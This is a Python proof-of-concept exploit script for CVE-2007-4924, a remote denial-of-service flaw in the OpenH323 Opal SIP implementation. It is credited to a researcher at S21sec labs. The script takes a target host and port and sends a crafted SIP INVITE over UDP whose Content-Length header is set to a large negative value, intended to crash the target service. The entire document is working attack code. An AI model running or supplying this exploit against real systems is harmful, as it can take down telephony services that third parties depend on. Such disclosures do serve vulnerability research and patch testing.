#!/usr/bin/env python # # OpenH323 Opal SIP Protocol Remote Denial of Service Vulnerability (CVE-2007-4924) # # opal228_dos.py by Jose Miguel Esparza # 2007-10-08 S21sec labs import sys,socket if len(sys.argv) != 3: sys.exit("Usage: " + sys.argv[0] + " target_host target_port\n") target = sys.argv[1] targetPort = int(sys.argv[2]) malformedRequest = "INVITE sip:paco@192.168.1.134 SIP/2.0\r\n"+\ "Call-ID:f81d4fae-7dec-11d0-a765-00a0c91e6bf6@foo.bar.com\r\n"+\ "Contact:sip:pepe@192.168.1.133:5060\r\n"+\ "Content-Length:-40999990\r\n"+\ "Content-Type:application/sdp\r\n"+\ "CSeq:4321 INVITE\r\n"+\ "From:sip:pepe@192.168.1.133:5060;tag=a48s\r\n"+\ "Max-Forwards:70\r\n"+\ "To:sip:paco@micasa.com\r\n"+\ "Via:SIP/2.0/UDP 192.168.1.133:5060;branch=z9hG4bK74b76\r\n\r\n" s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect((target,targetPort)) s.sendall(malformedRequest) s.close()